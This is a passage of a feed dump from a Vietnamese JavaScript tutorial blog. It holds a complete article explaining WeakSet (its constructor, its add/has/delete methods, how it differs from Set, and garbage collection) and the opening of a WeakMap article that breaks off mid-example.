href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Destructuring_assignment">Destructuring assignment - MDN</a></li> <li><a href="https://javascript.info/destructuring-assignment">Destructuring assignment - JavaScript.info</a></li> <li><a href="https://davidwalsh.name/destructuring-function-arguments">Destructuring and Function Arguments - DavidWalsh</a></li> <li><a href="https://davidwalsh.name/destructuring-alias">Aliases with JavaScript Destructuring - DavidWalsh</a></li> <li><a href="https://davidwalsh.name/array-destructuring">Array Destructuring - DavidWalsh</a></li> </ul>[email protected]<![CDATA[Weakset trong JavaScript]]><![CDATA[WeakSet trong JavaScript cũng là một loại object đặc biệt, dùng để lưu trữ dữ liệu một cách duy nhất, không trùng lặp - tương tự như Set. Tuy nhiên, cũng giống như WeakMap, WeakSet…]]>https://completejavascript.com/weakset-trong-javascript/https://completejavascript.com/weakset-trong-javascript/<![CDATA[ES6]]><![CDATA[Kiểu dữ liệu]]><![CDATA[Set]]>Wed, 07 Jun 2017 21:30:00 GMT<p>WeakSet trong JavaScript cũng là một loại object đặc biệt, dùng để <strong>lưu trữ dữ liệu một cách duy nhất</strong>, không trùng lặp - tương tự như <a href="/ban-biet-gi-ve-set-trong-javascript/">Set</a>.</p> <p>Tuy nhiên, cũng giống như <a href="/weakmap-trong-javascript/">WeakMap</a>, WeakSet chỉ cho phép lưu trữ dữ liệu kiểu <a href="/object-la-gi-object-trong-javascript/">object</a> (không chấp nhận kiểu nguyên thủy).</p> <h2 id="cú-pháp-khởi-tạo-weakset" style="position:relative;"><a href="#c%C3%BA-ph%C3%A1p-kh%E1%BB%9Fi-t%E1%BA%A1o-weakset" aria-label="cú pháp khởi tạo weakset permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Cú pháp khởi tạo WeakSet</h2> <p>Để khởi tạo WeakSet trong JavaScript, bạn sử dụng hàm khởi tạo như sau:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">new</span> <span class="token class-name">WeakSet</span><span class="token punctuation">(</span><span class="token punctuation">[</span>iterable<span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Trong đó:</p> <ul> <li>Tham số <code>iterable</code> là một <a href="/iterable-la-gi-iterable-trong-javascript/">iterable object</a> (không bắt buộc), với mỗi phần tử là một object.</li> <li>Nếu không truyền tham số vào hàm khởi tạo thì WeakSet sẽ rỗng.</li> </ul> <p>Ví dụ:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token comment">// khởi tạo WeakSet rỗng</span> <span class="token keyword">let</span> ws1 <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">WeakSet</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// OK</span> <span class="token comment">// khởi tạo WeakSet với iterable object với mỗi phần tử là object</span> <span class="token keyword">let</span> obj1 <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">x</span><span class="token operator">:</span> <span class="token number">1</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token keyword">let</span> ws2 <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">WeakSet</span><span class="token punctuation">(</span><span class="token punctuation">[</span>obj1<span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// OK</span> <span class="token comment">// khởi tạo WeakSet với iterable object nhưng mỗi phần tử không phải object</span> <span class="token keyword">let</span> ws3 <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">WeakSet</span><span class="token punctuation">(</span><span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">,</span> <span class="token string">"2"</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Lỗi: Invalid value used in weak set</span></code></pre></div> <h2 id="các-phương-thức-của-weakset" style="position:relative;"><a href="#c%C3%A1c-ph%C6%B0%C6%A1ng-th%E1%BB%A9c-c%E1%BB%A7a-weakset" aria-label="các phương thức của weakset permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Các phương thức của WeakSet</h2> <p>Sau đây là các phương thức của WeakSet trong JavaScript.</p> <p>► Phương thức <code>weakSet.add(value)</code>:</p> <p>Thêm giá trị <code>value</code> vào WeakSet và trả về chính WeakSet đó.</p> <div class="gatsby-highlight has-highlighted-lines" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> obj1 <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">x</span><span class="token operator">:</span> <span class="token number">1</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token keyword">let</span> obj2 <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">x</span><span class="token operator">:</span> <span class="token number">2</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token keyword">let</span> ws <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">WeakSet</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="gatsby-highlight-code-line">ws<span class="token punctuation">.</span><span class="token function">add</span><span class="token punctuation">(</span>obj1<span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">add</span><span class="token punctuation">(</span>obj2<span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">add</span><span class="token punctuation">(</span>obj1<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// OK</span></span> <span class="token comment">// Add value không phải là object vào set</span> <span class="gatsby-highlight-code-line">ws<span class="token punctuation">.</span><span class="token function">add</span><span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Lỗi: Invalid value used in weak set</span></span></code></pre></div> <p>► Phương thức <code>weakSet.has(value)</code>:</p> <p>Trả về <code>true</code> nếu giá trị <code>value</code> có tồn tại trong WeakSet, ngược lại thì trả về <code>false</code>.</p> <div class="gatsby-highlight has-highlighted-lines" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> obj1 <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">x</span><span class="token operator">:</span> <span class="token number">1</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token keyword">let</span> obj2 <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">x</span><span class="token operator">:</span> <span class="token number">2</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token keyword">let</span> ws <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">WeakSet</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> ws<span class="token punctuation">.</span><span class="token function">add</span><span class="token punctuation">(</span>obj1<span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">add</span><span class="token punctuation">(</span>obj2<span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">add</span><span class="token punctuation">(</span>obj1<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="gatsby-highlight-code-line">console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>ws<span class="token punctuation">.</span><span class="token function">has</span><span class="token punctuation">(</span>obj1<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// true</span></span><span class="gatsby-highlight-code-line">console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>ws<span class="token punctuation">.</span><span class="token function">has</span><span class="token punctuation">(</span>obj2<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// true</span></span><span class="gatsby-highlight-code-line">console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>ws<span class="token punctuation">.</span><span class="token function">has</span><span class="token punctuation">(</span><span class="token punctuation">{</span> <span class="token literal-property property">x</span><span class="token operator">:</span> <span class="token number">1</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// false</span></span></code></pre></div> <p>Vì object là kiểu dữ liệu tham chiếu nên <code>{x: 1} !== {x: 1}</code>. Do đó, câu lệnh <code>ws.has({ x: 1 })</code> trả về <code>false</code>.</p> <p>► Phương thức <code>weakSet.delete(value)</code>:</p> <p>Xóa giá trị <code>value</code> khỏi WeakSet và trả về <code>true</code> nếu giá trị đó tồn tại, ngược lại thì trả về <code>false</code>.</p> <div class="gatsby-highlight has-highlighted-lines" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> obj1 <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">x</span><span class="token operator">:</span> <span class="token number">1</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token keyword">let</span> obj2 <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">x</span><span class="token operator">:</span> <span class="token number">2</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token keyword">let</span> ws <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">WeakSet</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> ws<span class="token punctuation">.</span><span class="token function">add</span><span class="token punctuation">(</span>obj1<span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">add</span><span class="token punctuation">(</span>obj2<span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">add</span><span class="token punctuation">(</span>obj1<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="gatsby-highlight-code-line">console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>ws<span class="token punctuation">.</span><span class="token function">delete</span><span class="token punctuation">(</span>obj1<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// true</span></span><span class="gatsby-highlight-code-line">console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>ws<span class="token punctuation">.</span><span class="token function">delete</span><span class="token punctuation">(</span>obj2<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// true</span></span><span class="gatsby-highlight-code-line">console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>ws<span class="token punctuation">.</span><span class="token function">delete</span><span class="token punctuation">(</span><span class="token punctuation">{</span> <span class="token literal-property property">x</span><span class="token operator">:</span> <span class="token number">1</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// false</span></span><span class="gatsby-highlight-code-line">console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>ws<span class="token punctuation">.</span><span class="token function">delete</span><span class="token punctuation">(</span>obj1<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// false</span></span></code></pre></div> <p>Tương tự như trên, vì object là kiểu dữ liệu tham chiếu nên <code>{x: 1} !== {x: 1}</code>. Do đó, câu lệnh <code>ws.delete({ x: 1 })</code> trả về <code>false</code>.</p> <p>Câu lệnh cuối cùng <code>ws.delete(obj1)</code> cũng trả về <code>false</code> vì trước đó mình đã xóa giá trị <code>obj1</code> ra khỏi <code>ws</code> rồi.</p> <h2 id="so-sánh-weakset-và-set" style="position:relative;"><a href="#so-s%C3%A1nh-weakset-v%C3%A0-set" aria-label="so sánh weakset và set permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>So sánh WeakSet và Set</h2> <p>Sau đây là một số đặc điểm khác nhau giữa Set và WeakSet trong JavaScript.</p> <h3 id="kiểu-dữ-liệu-của-key" style="position:relative;"><a href="#ki%E1%BB%83u-d%E1%BB%AF-li%E1%BB%87u-c%E1%BB%A7a-key" aria-label="kiểu dữ liệu của key permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Kiểu dữ liệu của key</h3> <p>Đối với Set, key có thể thuộc bất kỳ kiểu dữ liệu nào. Nhưng đối với WeakSet thì ngược lại, key <strong>chỉ có thể là object</strong>.</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> set <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">Set</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">let</span> weakSet <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">WeakSet</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> set<span class="token punctuation">.</span><span class="token function">add</span><span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// OK</span> weakSet<span class="token punctuation">.</span><span class="token function">add</span><span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Lỗi - Invalid value used in weak set</span></code></pre></div> <h3 id="tính-chất-của-iterable-object" style="position:relative;"><a href="#t%C3%ADnh-ch%E1%BA%A5t-c%E1%BB%A7a-iterable-object" aria-label="tính chất của iterable object permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Tính chất của iterable object</h3> <p>Set là iterable object. Do đó, bạn có thể duyệt qua hết tất cả các phần tử trong Set.</p> <p>WeakSet không phải là iterable object. Bạn không có cách nào để duyệt hết tất cả các phần tử của WeakSet.</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token comment">// khởi tạo set</span> <span class="token keyword">let</span> set <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">Set</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> set<span class="token punctuation">.</span><span class="token function">add</span><span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">add</span><span class="token punctuation">(</span><span class="token string">"b"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// duyệt qua các phần tử của set</span> <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">let</span> item <span class="token keyword">of</span> set<span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>item<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">/** * 1 * 'b' */</span> <span class="token punctuation">}</span> <span class="token comment">// khởi tạo weakSet</span> <span class="token keyword">let</span> obj1 <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">x</span><span class="token operator">:</span> <span class="token number">1</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token keyword">let</span> obj2 <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">x</span><span class="token operator">:</span> <span class="token number">2</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token keyword">let</span> weakSet <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">WeakSet</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> weakSet<span class="token punctuation">.</span><span class="token function">add</span><span class="token punctuation">(</span>obj1<span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">add</span><span class="token punctuation">(</span>obj2<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// duyệt qua các phần tử của weakSet</span> <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">let</span> item <span class="token keyword">of</span> weakSet<span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>item<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token comment">/** * Lỗi: weakSet is not iterable */</span></code></pre></div> <h3 id="vấn-đề-garbage-collection" style="position:relative;"><a href="#v%E1%BA%A5n-%C4%91%E1%BB%81-garbage-collection" aria-label="vấn đề garbage collection permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Vấn đề garbage collection</h3> <p>Khi một biến là object được lưu vào Set, dù biến đó có bị gán bằng <code>null</code> thì object vẫn tồn tại trong Set.</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token comment">// khởi tạo object</span> <span class="token keyword">let</span> obj1 <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">x</span><span class="token operator">:</span> <span class="token number">1</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token comment">// khởi tạo set và thêm object trên vào set</span> <span class="token keyword">let</span> set <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">Set</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> set<span class="token punctuation">.</span><span class="token function">add</span><span class="token punctuation">(</span>obj1<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// gán obj1 bằng null</span> obj1 <span class="token operator">=</span> <span class="token keyword">null</span><span class="token punctuation">;</span> <span class="token comment">// mặc dù obj1 được gán thành null, nhưng object vẫn tồn tại trong set</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>set<span class="token punctuation">.</span>size<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 1</span> <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">let</span> item <span class="token keyword">of</span> set<span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>item<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// {x: 1}</span> <span class="token punctuation">}</span></code></pre></div> <p>Đối với WeakSet thì ngược lại, một khi biến object được gán bằng <code>null</code> thì không có cách nào truy cập vào phần tử đó trong Set. Do đó, object sẽ được giải phóng.</p> <h2 id="tổng-kết" style="position:relative;"><a href="#t%E1%BB%95ng-k%E1%BA%BFt" aria-label="tổng kết permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Tổng kết</h2> <p>WeakSet trong JavaScript tương tự như Set, cho phép <strong>lưu trữ dữ liệu một cách duy nhất</strong>, không trùng lặp. Tuy nhiên, WeakSet chỉ chấp nhận phần tử kiểu object.</p> <p>Và khi object bị hủy, object tương ứng trong WeakSet sẽ bị giải phóng vì không còn cách nào để truy cập vào object đó nữa.</p> <p>Các phương thức của WeakSet là:</p> <ul> <li><code>weakSet.add(value)</code>: lưu giá trị <code>value</code> vào WeakSet và trả về chính WeakSet.</li> <li><code>weakSet.delete(value)</code>: xóa phần tử <code>value</code> trong WeakSet, nếu <code>value</code> tồn tại thì trả về <code>true</code>, ngược lại thì trả về <code>false</code>.</li> <li><code>weakSet.has(value)</code>: trả về <code>true</code> nếu <code>value</code> tồn tại trong <code>weakSet</code>, ngược lại thì trả về <code>false</code>.</li> </ul> <p>WeakSet không phải iterable object nên không có cách nào để duyệt hết các phần tử trong WeakSet (như cách dùng <code>for...of</code> với Set).</p> <p>Tham khảo: <a href="https://javascript.info/weakmap-weakset">WeakMap and WeakSet</a></p>[email protected]<![CDATA[Weakmap trong JavaScript]]><![CDATA[WeakMap trong JavaScript là cũng là một loại object. WeakMap có những đặc điểm giống và khác Map như thế nào? Sau đây, mình sẽ cùng tìm hiểu về WeakMap trong JavaScript. WeakMap…]]>https://completejavascript.com/weakmap-trong-javascript/https://completejavascript.com/weakmap-trong-javascript/<![CDATA[ES6]]><![CDATA[Kiểu dữ liệu]]><![CDATA[Map]]>Wed, 07 Jun 2017 06:30:00 GMT<p>WeakMap trong JavaScript là cũng là <strong>một loại object</strong>. WeakMap có những đặc điểm giống và khác Map như thế nào?</p> <p>Sau đây, mình sẽ cùng tìm hiểu về WeakMap trong JavaScript.</p> <h2 id="weakmap-trong-javascript-là-gì" style="position:relative;"><a href="#weakmap-trong-javascript-l%C3%A0-g%C3%AC" aria-label="weakmap trong javascript là gì permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>WeakMap trong JavaScript là gì?</h2> <p><strong>WeakMap trong JavaScript</strong> là một cấu trúc cho phép lưu trữ dữ liệu theo kiểu <strong>key-value</strong> tương tự như <a href="/map-trong-javascript-thi-sao/">Map</a>, <a href="/object-la-gi-object-trong-javascript/">Object</a> với cú pháp khởi tạo là:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">new</span> <span class="token class-name">WeakMap</span><span class="token punctuation">(</span><span class="token punctuation">[</span>iterable<span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Trong đó:</p> <ul> <li>Tham số <code>iterable</code> là <a href="/iterable-la-gi-iterable-trong-javascript/">iterable object</a> (không bắt buộc) với mỗi phần tử là mảng hai chiều dạng <code>[key, value]</code>.</li> <li>Thuộc tính trong WeakMap <code>key</code> <strong>chỉ có thể là object</strong>.</li> </ul> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> obj <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">x</span><span class="token operator">:</span> <span class="token number">1</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token keyword">let</span> weakMap <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">WeakMap</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> weakMap<span class="token punctuation">.</span><span class="token function">set</span><span class="token punctuation">(</span>obj<span class="token punctuation">,</span> <span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// OK - key là object</span> weakMap<span class="token punctuation">.</span><span class="token function">set</span><span class="token punctuation">(</span><span class="token string">"a"</span><span class="token punctuation">,</span> <span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Lỗi: Invalid value used as weak map key - key là string</span></code></pre></div> <h2 id="các-phương-thức-của-weakmap" style="position:relative;"><a href="#c%C3%A1c-ph%C6%B0%C6%A1ng-th%E1%BB%A9c-c%E1%BB%A7a-weakmap" aria-label="các phương thức của weakmap permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Các phương thức của WeakMap</h2> <p>Sau đây là các phương thức của WeakMap trong JavaScript.</p> <p>► Phương thức <code>weakMap.set(key, value)</code>:</p> <p>Dùng để lưu giá trị <code>value</code> bởi thuộc tính <code>key</code> và trả về chính WeakMap. Trong đó, <code>key</code> phải là một object, ngược lại thì báo lỗi.</p> <div class="gatsby-highlight has-highlighted-lines" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> obj1 <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">x</span><span class="token operator">:</span> <span class="token number">1</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token keyword">let</span> obj2 <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">x</span><span class="token operator">:</span> <span class="token number">2</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token keyword">let</span> weakMap <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">WeakMap</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="gatsby-highlight-code-line">weakMap<span class="token punctuation">.</span><span class="token function">set</span><span class="token punctuation">(</span>obj1<span class="token punctuation">,</span> <span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">set</span><span class="token punctuation">(</span>obj2<span class="token punctuation">,</span> <span class="token number">2</span><span class="token punctuation">)</span><span class="token punctuation">;</span></span></code></pre></div> <p>► Phương thức <code>weakMap.get(key)</code>:</p> <p>Trả về giá trị của thuộc tính <code>key</code>, nếu <code>key</code> không tồn tại thì trả về <code>undefined</code>.</p> <div class="gatsby-highlight has-highlighted-lines" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> obj1 <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property 